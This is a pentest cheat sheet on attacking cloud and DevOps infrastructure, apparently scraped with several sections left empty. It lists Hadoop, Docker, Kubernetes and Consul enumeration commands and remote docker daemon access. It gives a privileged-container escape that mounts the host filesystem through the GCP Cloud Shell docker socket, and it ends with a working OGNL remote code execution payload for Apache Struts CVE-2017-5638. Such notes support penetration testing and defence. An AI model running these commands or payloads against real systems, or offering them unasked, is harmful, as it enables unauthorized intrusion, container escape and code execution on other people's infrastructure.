Exploiting Cloud Infrastructure



In the server machine:

$hadoop fs -ls /

$hadoop fs -ls -R /

$hadoop fs -get /<PATH>

$hadoop fs -cat /<PATH>

$hadoop fs -put /<PATH>


Useful commands for local environment:

  • List containers
$docker ps

  • List images
$docker images

Useful commands for remote exploitation:

  • List containers
$docker -H $IP:$port ps -a

  • List images
$docker -H $IP:$port images

  • Run CLI
$docker -H $IP:$port info

Privileged mode

By default, Docker containers are “unprivileged” and cannot, for example, run a Docker daemon inside a Docker container. This is because by default a container is not allowed to access any devices, but a “privileged” container is given access to all devices (see the documentation on cgroups devices).

When the operator executes

$docker run --privileged


$docker run --rm -it --cap-add=ALL $CMD

Docker will enable access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the same access to the host as processes running outside containers on the host.

Docker evasion in GCP Cloudshell

Create a privileged container with host root filesystem mounted:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh



Useful commands:

$kubectl cluster-info

  • Open a shell in the container:
$kubectl exec <POD-NAME> -c <CONTAINER-NAME> -- bash

  • List pods:
$kubectl get pods

  • List APIs:
$kubectl get apiservices

  • List hostnames:
$kubectl get svc hostnames

  • Check permissions:
$kubectl auth can-i list secrets --namespace dev --as dave

Some paths:

Get all pods paths:

$(curl http://$SERVER:$PORT/api/v1/pods | grep selfLink) 2> /dev/null | cut -d'"' -f4

If the kube-proxy was enabled

$kubectl proxy &

, we can also query:

  • How to execute commands inside the container:

Exploit for CVE-2018-1002105

In all Kubernetes versions prior to v1.10.11, v1.11.5, and v1.12.3, incorrect handling of error responses to proxied upgrade requests in the kube-apiserver allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers, then send arbitrary requests over the same connection directly to the backend, authenticated with the Kubernetes API server's TLS credentials used to establish the backend connection.


Never use in production environments! It maps guest /Users to host /Users (In MacOS). Easy jail evasion.

How to open a ssh session in the guest:

$minikube ssh

Google GWT-RPC

Get all RPC endpoints, leaked from X32.cache.js, being X32 a 32-char string retrieved from the page that does the call:

for i in `perl URLSUCKER -f X32.cache.js | strings -n 32`; do curl -Ik https://$SERVER:$PORT/$PATH/$i.gwt.rpc; done

More info:

Hashicorp Nomad

Hashicorp Consul

  • List cluster members:
$consul members -http-addr http://$HOST

  • How to ACL between microservices:
$consul intention create -deny web database

Jenkins RCE

Jenkins shell to ease Jenkins post exploitation:



The JMX Proxy Servlet is a lightweight proxy to get and set the tomcat internals. (Or any class that has been exposed via an MBean) Its usage is not very user friendly but the UI is extremely helpful for integrating command line scripts for monitoring and changing the internals of tomcat. You can do two things with the proxy:

  • get information
  • set information




Apache Struts

CVE-2017-5638 Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution (RCE)

CVE-2017-9805 Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution (RCE)

Test lab deployment

$docker pull piesecurity/apache-struts2-cve-2017-5638
$docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638



$curl http://$IP/

Decoded query:

http://$IP/\${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@[email protected]('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}/help.action